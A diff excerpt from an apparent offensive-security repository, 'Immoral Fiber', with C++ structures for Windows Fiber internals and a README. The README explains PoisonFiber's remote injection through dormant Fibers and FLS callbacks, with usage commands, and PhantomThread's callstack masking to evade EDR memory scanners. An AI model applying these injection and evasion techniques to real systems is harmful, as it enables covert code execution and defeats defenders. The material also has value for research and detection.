FLS_INFO_CHUNK* flsCallbackChunks[8];
|
||||
LIST_ENTRY flsListHead;
|
||||
ULONG flsHighIndex;
|
||||
} GLOBAL_FLS_DATA, * PGLOBAL_FLS_DATA;
|
||||
|
||||
struct CallbackTable
|
||||
{
|
||||
DWORD pid;
|
||||
DWORD tid;
|
||||
std::vector<FLS_CALLBACK> callbackEntries; // Entries appear in order of index.
|
||||
};
|
||||
|
||||
typedef struct _TEB_FLS_DATA
|
||||
{
|
||||
LIST_ENTRY flsListEntry;
|
||||
PVOID flsDataChunks[8];
|
||||
} TEB_FLS_DATA, * PTEB_FLS_DATA;
|
||||
|
||||
struct MyFlsLinkedEntries
|
||||
{
|
||||
DWORD pid;
|
||||
DWORD tid;
|
||||
std::vector<LIST_ENTRY*> flsListEntries;
|
||||
};
|
||||
|
||||
struct CallbackTableMeta
|
||||
{
|
||||
PVOID callbackTableAddress;
|
||||
size_t nCallbackEntries;
|
||||
std::vector<FLS_CALLBACK> callbackEntries;
|
||||
};
|
||||
|
||||
enum MY_THREADINFOCLASS
|
||||
{
|
||||
ThreadBasicInformation,
|
||||
};
|
||||
|
||||
typedef struct _THREAD_BASIC_INFORMATION
|
||||
{
|
||||
NTSTATUS ExitStatus;
|
||||
PVOID TebBaseAddress;
|
||||
CLIENT_ID ClientId;
|
||||
KAFFINITY AffinityMask;
|
||||
KPRIORITY Priority;
|
||||
KPRIORITY BasePriority;
|
||||
} THREAD_BASIC_INFORMATION, * PTHREAD_BASIC_INFORMATION;
|
||||
|
||||
|
||||
//
|
||||
// Pseudo Fiber struct rebuilt from IDA KernelBase!CreateFiberEx
|
||||
//
|
||||
struct Fiber
|
||||
{
|
||||
PVOID FiberData; // 0x00
|
||||
struct _EXCEPTION_REGISTRATION_RECORD* ExceptionList; // +0x08
|
||||
PVOID StackBase; // +0x10
|
||||
PVOID StackLimit; // +0x18
|
||||
PVOID DeallocationStack; // +0x20
|
||||
CONTEXT FiberContext;
|
||||
PVOID Wx86Tib;
|
||||
struct _ACTIVATION_CONTEXT_STACK* ActivationContextStackPointer;
|
||||
TEB_FLS_DATA* FlsData;
|
||||
ULONG GuaranteedStackBytes;
|
||||
ULONG TebFlags;
|
||||
uint64_t XoredCookie; // Xored stack based cookie, used as a sanity check when switching fibers in KernelBase!SwitchToFiber
|
||||
PVOID ShadowStack;
|
||||
};
|
||||
|
||||
struct TidPid
|
||||
{
|
||||
DWORD tid;
|
||||
DWORD pid;
|
||||
};
|
||||
|
||||
struct FiberInfo
|
||||
{
|
||||
TidPid tidPid;
|
||||
bool current = false;
|
||||
Fiber fiberObject;
|
||||
uint64_t basepFiberCookie;
|
||||
std::vector<Fiber> dormantFibervector;
|
||||
};
|
||||
|
||||
struct HeapEntryMeta
|
||||
{
|
||||
DWORD pid; // Owning PID
|
||||
PVOID ntHeapAddr; // Allocation base of the heap block belongs to
|
||||
uint64_t heapBlockAddr;
|
||||
uint16_t heapBlockSize;
|
||||
uint8_t flags;
|
||||
uint8_t unusedBytes;
|
||||
SIZE_T requestedBytes; // Value given to RtlAllocateHeap. Calculated from heapBlockSize - unusedBytes.
|
||||
};
|
||||
|
||||
// https://processhacker.sourceforge.io/doc/heapstruct_8h_source.html#l00005
|
||||
// Not the actual structure, but has the same size.
|
||||
typedef struct _HEAP_ENTRY
|
||||
{
|
||||
PVOID PreviousBlockPrivateData;
|
||||
WORD Size;
|
||||
UCHAR Flags;
|
||||
UCHAR SmallTagIndex;
|
||||
WORD PreviousSize;
|
||||
UCHAR SegmentOffset;
|
||||
UCHAR UnusedBytes;
|
||||
} HEAP_ENTRY, * PHEAP_ENTRY;
|
||||
|
||||
// https://processhacker.sourceforge.io/doc/heapstruct_8h_source.html#l00014
|
||||
// First few fields of HEAP_SEGMENT, VISTA and above
|
||||
typedef struct _HEAP_SEGMENT
|
||||
{
|
||||
HEAP_ENTRY HeapEntry;
|
||||
ULONG SegmentSignature;
|
||||
ULONG SegmentFlags;
|
||||
LIST_ENTRY SegmentListEntry;
|
||||
struct _HEAP* Heap;
|
||||
PVOID BaseAddress;
|
||||
DWORD NumberOfPages;
|
||||
HEAP_ENTRY* FirstEntry;
|
||||
HEAP_ENTRY* LastValidEntry;
|
||||
DWORD NumberOfUnCommittedPages;
|
||||
// ...
|
||||
} HEAP_SEGMENT, * PHEAP_SEGMENT;
|
||||
|
||||
// Imported functions
|
||||
// NTDLL
|
||||
typedef NTSTATUS(NTAPI* _NtQueryInformationThread)(
|
||||
IN HANDLE ThreadHandle,
|
||||
IN MY_THREADINFOCLASS ThreadInformationClass,
|
||||
IN OUT PVOID ThreadInformation,
|
||||
IN ULONG ThreadInformationLength,
|
||||
OUT PULONG ReturnLength OPTIONAL
|
||||
);
|
||||
|
||||
_NtQueryInformationThread NtQueryInfoThread;
|
||||
|
||||
typedef NTSTATUS(NTAPI* _NtQueryInformationProcess)(
|
||||
IN HANDLE ProcessHandle,
|
||||
IN PROCESSINFOCLASS ProcessInformationClass,
|
||||
OUT PVOID ProcessInformation,
|
||||
IN ULONG ProcessInformationLength,
|
||||
OUT PULONG ReturnLength OPTIONAL
|
||||
);
|
||||
|
||||
_NtQueryInformationProcess NtQueryInfoProcess;
|
||||
@@ -0,0 +1,16 @@
|
||||
//{{NO_DEPENDENCIES}}
|
||||
// Microsoft Visual C++ generated include file.
|
||||
// Used by PoisonFiber.rc
|
||||
//
|
||||
#define IDR_SHELLCODE_BIN1 101
|
||||
|
||||
// Next default values for new objects
|
||||
//
|
||||
#ifdef APSTUDIO_INVOKED
|
||||
#ifndef APSTUDIO_READONLY_SYMBOLS
|
||||
#define _APS_NEXT_RESOURCE_VALUE 102
|
||||
#define _APS_NEXT_COMMAND_VALUE 40001
|
||||
#define _APS_NEXT_CONTROL_VALUE 1001
|
||||
#define _APS_NEXT_SYMED_VALUE 101
|
||||
#endif
|
||||
#endif
|
||||
@@ -0,0 +1,229 @@
|
||||
#### Disclaimer
|
||||
**NOTE**: *These are POC techniques, they aren't intended to be used in real-life red-teaming scenarios.
|
||||
Both POCs demonstrate the new techniques, but no attempt has been made to make the rest of POCs evasive.
|
||||
For instance, both examples use basic memory allocation techniques & store shellcode within RWX memory regions / .rsrc section.
|
||||
Also, PoisonFiber uses CreateToolhelp32Snapshot & standard Windows APIs to enumerate threads using Fibers. As such expect to generate telemetry for:*
|
||||
- *ETW TI ID:14 (KERNEL_THREATINT_KEYWORD_WRITEVM_REMOTE).*
|
||||
- *Periodic memory scanning for RWX regions.*
|
||||
- *Usermode hooks that could be placed on the Fiber API by EDR/AV vendors to collect usage.*
|
||||
|
||||
*Prior to using these techniques in an operational environment, I would recommend fluctuating the memory access & page protections. In addition to using a more low-key method of thread enumeration*
|
||||
|
||||
# Immoral Fiber
|
||||
|
||||
This repository contains two new offensive techniques using Windows Fibers:
|
||||
- PoisonFiber (A remote enumeration & Fiber injection capability POC tool)
|
||||
- PhantomThread (An evolved callstack-masking implementation)
|
||||
|
||||
It also contains an example test program that makes use of Windows Fibers which can be used to inject into with PoisonFiber:
|
||||
- BasicFiber
|
||||
|
||||
|
||||
## BasicFiber
|
||||
Basic Fiber is a very simple test program that serves as a target for PoisonFiber.
|
||||
BasicFiber consists of:
|
||||
1. Two Fibers that switch between one another.
|
||||
2. A user defined Fiber Local Storage (FLS) callback function that can be triggered manually.
|
||||
|
||||

|
||||
|
||||
It waits for user input to either:
|
||||
- `'s' + Enter` - Switch execution from the currently executing Fiber to the dormant Fiber.
|
||||
- `'f' + Enter` - Execute the user-defined callback.
|
||||
- `'e' + Enter` - Delete the current Fiber which will call `ExitThread()` internally.
|
||||
|
||||
|
||||
## PoisonFiber
|
||||

|
||||
PoisonFiber is the first tool of its kind to make remote Fiber injection available on Windows.
|
||||
It demonstrates two types of remote Fiber injection by either injecting into a remote Dormant Fiber object or by manipulating remote FLS callbacks.
|
||||
|
||||
The four sub-techniques it offers are:
|
||||
- Remote Dormant Fiber injection via overwriting existing Fiber code.
|
||||
- Remote Dormant Fiber injection via redirecting execution flow.
|
||||
- Remote callback injection via overwriting default Fiber local storage cleanup callback.
|
||||
- Remote callback injection via manipulating user-defined callbacks with malicious callback.
|
||||
|
||||

|
||||
|
||||
There are two different pieces of shellcode inside the PoisonFiber POC
|
||||
1. Custom shellcode that returns normally. This is stored and loaded from the resources section of the binary
|
||||
2. A smaller piece of shellcode that pops calc.exe and exits via SEH. This has been generated using msfvenom.
|
||||
|
||||
Only Dormant Fiber Injection via overwriting uses the second piece of shellcode since there is no point in returning to the original Fiber code as it has been overwritten and will crash if we attempt to do so.
|
||||
The remaining techniques use the first piece as it allows normal program flow to continue after it has been executed.
|
||||
|
||||
### Remote Dormant Fiber Injection
|
||||
|
||||
>NOTE: Both sub-techniques rely on the switching of Fibers to trigger shellcode execution so remember to switch execution between fibers in victim process (e.g. BasicFiber.exe) when testing.
|
||||
|
||||
Fibers exist within the context of a Usermode Thread object & heap memory. Dormant Fibers are Fiber objects that are currently not switched to and thus not executing). If we can locate remote dormant Fiber objects, we can write shellcode at the address of which they will continue, thereby whenever the remote application naturally schedules the dormant Fiber (switches to it) this will trigger the execution of our injected code.
|
||||
|
||||
But before injecting any shellcode PoisonFiber must first remotely enumerate all of the Dormant Fiber objects from memory. It does this using the following steps:
|
||||
1. Enumerate all running Threads on a host, checking the `TEB->SameTebFlags` to identify if the `HasFiberData` mask has been set.
|
||||
2. Remotely enumerate the heaps of all processes which have Threads that make use of Fibers.
|
||||
3. Calculate & collect individual heap blocks of a requested 0x530 bytes (our potential Dormant Fiber objects).
|
||||
4. Validate the potential dormant Fiber objects by generating expected FiberData field values based on a unique `XoredCookie` value inside each Fiber object.
|
||||
|
||||
Once completed PoisonFiber has valid list of dormant Fiber objects to choose from. As shown in the diagram below:
|
||||

|
||||
|
||||
Within a dormant Fiber object, we can find it's `CONTEXT` structure (the saved execution state). The `CONTEXT’s` `RIP` will point to a `RET` which will essentially `POP` whatever is on top of the Fiber's stack and jump to it (when it is switched to from the currently running Fiber). Thus, the value at the top of a dormant Fiber's stack will contain the address at which to continue execution. This is illustrated below:
|
||||
|
||||

|
||||
|
||||
#### Dormant Fiber injection via overwriting existing Fiber code.
|
||||
|
||||
Example command: `PoisonFiber.exe -p 1234 -do`
|
||||
|
||||
The first sub-technique records the resumption address by reading the first value on top of the dormant Fiber's stack. It then adds writable memory permissions & injects our malicious shellcode here providing enough space is available. Whenever the dormant Fiber is switched to naturally by the process the shellcode will be executed on our behalf instead of the legitimate Fiber code.
|
||||
|
||||

|
||||
|
||||
*NOTE: As previously mentioned directly adding RWX memory permissions is rather crude, in real world scenarios you would change this to avoid detection, but here it doesn't matter since it the POC is just a demonstration. In addition, overwriting the legitimate Fiber code directly without restoring it afterwards will likely crash the injected process after the shellcode has finished executing.*
|
||||
|
||||
#### Dormant Fiber injection via redirecting execution flow.
|
||||
|
||||
Example command `PoisonFiber.exe -p 1234 -dr`
|
||||
|
||||
For this sub-technique instead of overwriting the Fiber code, we allocate a new region of memory for our shellcode and push this address onto the dormant Fiber's stack. That way when a Fiber is switched to it will execute our new region of memory first (illustrated below).
|
||||
|
||||
In addition, we aren’t corrupting the program memory, so providing our shellcode returns normally it will maintain the original execution of the remote process (without crashing) after executing our malicious code.
|
||||
|
||||

|
||||
|
||||
|
||||
#### Dormant Fiber Injection Advantages / Disadvantages
|
||||
Advantages:
|
||||
- Can target processes using Fibers and inject into them.
|
||||
- No need for to trigger execution ourselves, this is handled be the inherent Fiber switching of the remote process.
|
||||
- Not creating any new remote threads & avoiding sensitive APIs.
|
||||
- Overwriting existing Fiber object code requires no new memory regions to be created.
|
||||
|
||||
Disadvantages:
|
||||
- The Thread enumeration component is potentially noisy to AVs.
|
||||
- Race conditions possible between injection & application switching fibers.
|
||||
- Execution subject to remote application Fiber switching.
|
||||
- Overwriting will likely crash a process unless FiberData is restored after shellcode has finished executing.
|
||||
- Redirection still requires memory allocation for shellcode.
|
||||
|
||||
### Remote Callback Injection
|
||||
|
||||
Fiber local storage (FLS) is the fiber equivalent to Thread Local Storage (TLS). It allows fibers to store and retrieve values via an index. When allocating a new FLS index a callback function can also be defined. Callback functions are executed whenever the specific FLS index associated with it is freed or when the Fiber using that FLS is deleted. Pointers to callbacks are stored in a callback table.
|
||||
|
||||
PoisonFiber first remotely enumerates the Fiber callback table from memory by:
|
||||
1. Collecting the `FlsData` field inside a remote Fiber object (First diagram below)
|
||||
2. Enumerating through a linked list of `FlsData` structs to find the `GLOBAL_FLS_DATA` ptr (second diagram)
|
||||
3. Identifies the remote callback table location from a field inside `GLOBAL_FLS_DATA` (second diagram)
|
||||
|
||||

|
||||

|
||||
|
||||
#### Callback injection via overwriting default Fiber local storage cleanup callback
|
||||
|
||||
Example command `PoisonFiber.exe -p 1234 -cd`
|
||||
|
||||
Once it has access the remote process Fiber callback table PoisonFiber can overwrite a default callback with a ptr to our shellcode. This will be triggered whenever the Fiber with FLS is deleted or the owning thread running Fibers exists.
|
||||
|
||||

|
||||
|
||||
|
||||
#### Callback injection via manipulating user-defined callbacks
|
||||
|
||||
Example command `PoisonFiber.exe -p 1234 -cu`
|
||||
|
||||
Alternatively, PoisonFiber can overwrite a user-defined FLS callback with a ptr to shellcode. The advantage of this method being it our shellcode will be cleaned up from memory for us & it may increase the likelihood of the shellcode being executed prior to the Fiber being deleted or the thread exiting, as the application may free the FLS index by its own accord. The downside of this technique is that it may introduce instability or undefined behaviour in the remote process after the shellcode has finished executing.
|
||||
|
||||

|
||||
|
||||
#### Callback Injection Advantages / Disadvantages
|
||||
Advantages:
|
||||
- Injected callback cleaned up automatically by Thread after execution.
|
||||
|
||||
Disadvantages:
|
||||
- Fiber Local Storage needs to already be in place.
|
||||
- One-time execution only (possible advantage).
|
||||
- Careful targeting when overwriting user-defined callbacks to not introduce crashes.
|
||||
|
||||
#### PoisonFiber prerequisites
|
||||
|
||||
- Victim process must be using Fibers already.
|
||||
- Victim process must be using Fiber Local Storage if injecting via callbacks.
|
||||
- PoisonFiber must have sufficient privileges to inject into remote process.
|
||||
|
||||
|
||||
## PhantomThread
|
||||
|
||||

|
||||

|
||||
|
||||
PhantomThread is an evolved implementation of Callstack Masking that looks to address some of the weaknesses from the original technique. It does this by removing the ability of memory scanners to target Fibers specifically. It also temporarily overwrites the masked stack with a clean legitimate stack when not in use. It is essentially boilerplate code that can be adapted should an attacker wish to implement a more robust method of callstack masking themselves.
|
||||
|
||||
**NOTE**: *When executing shellcode within a Fiber it still has to temporarily unmask itself in order to execute code. Thus masking doesn't protect against in-line callstack collection (only periodic & targeted scanning methods). Thus, if an attacker knows their shellcode will likely trigger an in-line callstack collection by an EDR e.g. Remote memory reads to lsass memory. Then they are better served using an active callstack spoofing mechanism such as [VulcanRaven](https://github.com/WithSecureLabs/CallStackSpoofer)*.
|
||||
|
||||
#### Traditional Callstack masking & weaknesses
|
||||
|
||||
Callstack masking hides the callstack of a beacon / payload whenever it is sleeping. It does this by switching to a secondary (clean looking) dormant Fiber when inactive. That way whenever a periodic memory scanner walks the Threads current stack it will be presented with the clean stack of the dormant Fiber instead of a malicious looking stack. This was implemented CobaltStrike's Artefact kit in 2022 & subsequently appeared in open-source implementations too. I have illustrated the basic principle below:
|
||||
|
||||

|
||||
|
||||
Unfortunately, this technique isn't foolproof. In fact, very basic detection strategies have already been highlighted on how to discover this. Such as looking for `RtlUserFiberStart()` routines at the beginning of callstacks and combining it with other suspicious indicators to uncover CS beacons. Please see the following MDSec blog post more info:
|
||||
https://www.mdsec.co.uk/2022/07/part-2-how-i-met-your-beacon-cobalt-strike/
|
||||
|
||||
In addition, tools such as [**Weetabix**](https://github.com/JanielDary/weetabix) can recover dormant Fiber object from memory. Which could then be used to rebuild the hidden malicious stack thus uncovering the mask:
|
||||

|
||||
|
||||
#### PhantomThread overview
|
||||
|
||||
PhantomThread removes the following indicators when the payload is sleeping thus limiting the ability of memory scanners to target Threads using Fibers:
|
||||
1. The `HasFiberData` mask inside the `TEB->SameTebFlags` field which indicates to the OS if a Thread is running as a Fiber.
|
||||
2. The start routine `RtlUserFiberStart()` which appears within callstack of Fibers created using `CreateFiber()` API call. As mentioned above.
|
||||
|
||||
In addition, PhantomThread also masks the dormant Fiber (containing the malicious callstack) as well as the currently executing Fiber while the payload is sleeping. This is to prevent detection by tools that are able to enumerate not just the running Fiber's callstack but also dormant Fiber's callstacks found in Fiber Objects on the heap. It does this by temporarily patching the malicious Fiber with a legitimate dummy Fiber that has had its XoredCookie modified so it passes a sanity check inside `SwitchToFiber()` and can replace the malicious Fiber permanently if the attacker so desires.
|
||||
|
||||
Basic principle:
|
||||

|
||||
|
||||
|
||||
#### Execution Flow
|
||||
|
||||
Example `.\PhantomThread.exe c`
|
||||
|
||||
###### Step 1. Setup & Removal of Fiber indicators
|
||||
|
||||
**Fiber1** - *Clean Fiber*:
|
||||
- Fiber1 is the initial Fiber created from the running Thread via `ConvertThreadToFiber()`. This maintains a callstack of the original Thread and does **NOT** contain any Fiber based start routines.
|
||||
- Patches the `TEB->SameTebFlags` field with a value to that of a Thread.
|
||||
- It creates a Dummy Fiber with a clean callstack.
|
||||
- Generates a valid `FiberObject.XoredCooke` value for the Dummy Fiber so it can run without causing an error.
|
||||
- Then switches execution to Fiber2.
|
||||
|
||||
###### Step 2. Shellcode execution
|
||||
**Fiber2** -*Malicious Fiber*:
|
||||
- This executes from a DLL, which loads a resource within the DLL, inside the resource is some (harmless) shellcode. This is there to imitate malicious code of an attacker.
|
||||
- When Fiber2 has finished executing shellcode it waits for 10 seconds and then switches execution back to Fiber1.
|
||||
|
||||
###### Step 3. Masking Dormant Fiber with Dummy Fiber
|
||||
**Fiber1** - *Clean Fiber*:
|
||||
- When Fiber2 is not executing e.g. Imitating when beacon/payload goes into a sleep state. Then Fiber1 patches the Dummy Fiber in place of Fiber2.
|
||||
- When the sleep has finished it patches back Fiber2 in place of the Dummy Fiber so execution can resume from Step2.
|
||||
- The whole point of using a Dummy Fiber patched in place of Fiber2 is to mask it from memory scanners that look to reveal dormant Fiber stacks in addition to currently executing Fibers running in the context of a Thread.
|
||||
|
||||
|
||||
***NOTE**: Phantom Thread also allows the option to trigger our malicious fiber once `.\PhantomThread.exe x` and replace it with our dummy Fiber permanently.*
|
||||
|
||||
#### Advantages / Disadvantages
|
||||
|
||||
Advantages:
|
||||
- No Fiber Artefacts - Looks identical to a THREAD. Harder to target.
|
||||
- Valid Callstacks - Avoids using faked Callstacks.
|
||||
- Dormant Fiber masked in addition to running Fiber.
|
||||
- No sacrificial Threads/Fibers required.
|
||||
|
||||
Disadvantages:
|
||||
- Does not mask against inline callstack collection.
|
||||
|
||||
### NOTES
|
||||
|
||||
- Tested on Windows 10 build 19044
|
||||
- IDB files with my reversed Fibers API funcs & undocumented structs applied.
|
||||